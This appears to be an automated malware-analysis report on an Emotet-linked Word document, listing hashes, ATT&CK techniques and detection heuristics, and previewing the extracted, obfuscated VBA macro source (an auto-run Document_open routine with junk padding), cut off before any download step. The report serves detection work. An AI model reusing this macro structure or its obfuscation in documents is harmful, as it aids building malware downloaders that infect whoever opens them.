Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 446c9664a7a29f18…

MALICIOUS

Office (OLE)

216.6 KB Created: 2020-02-05 06:54:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 9d12ccb467c1950f50a2c419b29f9125 SHA-1: 0519e6221d772a5dec187e0563be6730419b9e38 SHA-256: 446c9664a7a29f18d084223fe43663b01df9ebf01ad93cd95cacb6f1e64e68fa
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1140 Deobfuscate/Decode Files or Information

The sample contains VBA macros, specifically a Document_Open macro that utilizes CreateObject, indicative of a downloader. The ClamAV detection explicitly names this as 'Doc.Downloader.Emotet-7577855-0', strongly suggesting the Emotet family. The macro's structure, including the use of Trim$ and concatenation for obfuscation, points to a second-stage payload download mechanism.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-7577855-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7577855-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 32958 bytes
SHA-256: 93fc77757e3de2f93be64b3f74f86cb5c7ca3124cfe0727c630e7746ea9eda78
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Bauiwbxvwwp"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
   HgKlHeRxyx = Trim$("    fpCzbOrrBK       ")
eYCgTHbUrq = Trim$("    kSTokTqrAE       ")
AepzxwaawS = Trim$("    vcNMCvZAtj       ")
hRoTwUiEiW = Trim$("    GeEhhzvoze       ")
wqPQZAJhhx = Trim$("    wjOhwARgBL       ")
EZTGslBbfq = "zSzItGhKYQ"
sPkiPWgEFY = 112628
EZTGslBbfq = EZTGslBbfq & CStr(sPkiPWgEFY)
FlAUEmBDUn = EZTGslBbfq
Zoqazakuxfsa.Hpqcquqbbiaa
End Sub

Attribute VB_Name = "Oxuzrzcyuqz"
Attribute VB_Base = "0{8F6D337A-5DE8-48B3-B74A-94AF8030D19A}{02F8F909-73DA-407A-BA7C-56FAE01F69FE}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Ltvtvvmlva"
Attribute VB_Base = "0{7AAFCB00-977A-4352-A6B0-87F71B61DF84}{74EF03E2-C6EE-4D1F-B811-1AAF1C239276}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Ipnhlkcafs()
Debug.Print "NXBUWWD" + DDD + "pOLON"
End Sub

Attribute VB_Name = "Jcmbwkfpiml"
Attribute VB_Base = "0{572F5F51-B8B9-4209-AC42-D41A45BE404D}{08ECDB5E-A613-4D0E-AE0A-790E9FCB0420}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Flxhjxdv()
Debug.Print "NXBUWWD" + DDD + "pOLON"
End Sub

Attribute VB_Name = "Eegfjped"
Attribute VB_Base = "0{99959E7E-84FE-414F-A7D3-209D49CEFEB9}{2969A8EF-155C-45C8-97C5-92F7331D9F02}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Fjsjlpkvma()
Debug.Print "NXBUWWD" + DDD + "pOLON"
End Sub

Attribute VB_Name = "Bdgyeswv"
Attribute VB_Base = "0{3A0E6CFA-5374-4119-969E-481C38E449EF}{63E8632C-858A-4978-9973-D4A2ABD2C966}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Ebixqfvzdisa()
Debug.Print "NXBUWWD" + DDD + "pOLON"
End Sub

Attribute VB_Name = "Towuniiefadd"
Attribute VB_Base = "0{E1346B7F-ACAA-4DA9-B04E-BAD3DBC3A54E}{ACA6E90A-2000-4029-B89B-C60C1FEAE7DA}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Kmhxfkfqao()
Debug.Print "NXBUWWD" + DDD + "pOLON"
End Sub

Attribute VB_Name = "Zmxmkafkf"
Attribute VB_Base = "0{60AF3345-9FDE-4DE1-837E-C0CEC50A3CA2}{B86ABB70-DED0-48A6-B0EB-0E4D9C244A86}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Bhwmzwhumgko()
Debug.Print "NXBUWWD" + DDD + "pOLON"
End Sub

Attribute VB_Name = "Uvnpcniv"
Attribute VB_Base = "0{A41C6ABE-5B00-4E45-9D23-EE955A4F2834}{E708A6BC-58BF-4862-AF94-89924E09C8C9}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Vhspcyofur()
Debug.Print "NXBUWWD" + DDD + "pOLON"
End Sub

Attribute VB_Name = "Zoqazakuxfsa"
Function Hpqcquqbbiaa()
   HgKlHeRxyx = Trim$("    fpCzbOrrBK       ")
eYCgTHbUrq = Trim$("    kSTokTqrAE       ")
AepzxwaawS = Trim$("    vcNMCvZAtj
... (truncated)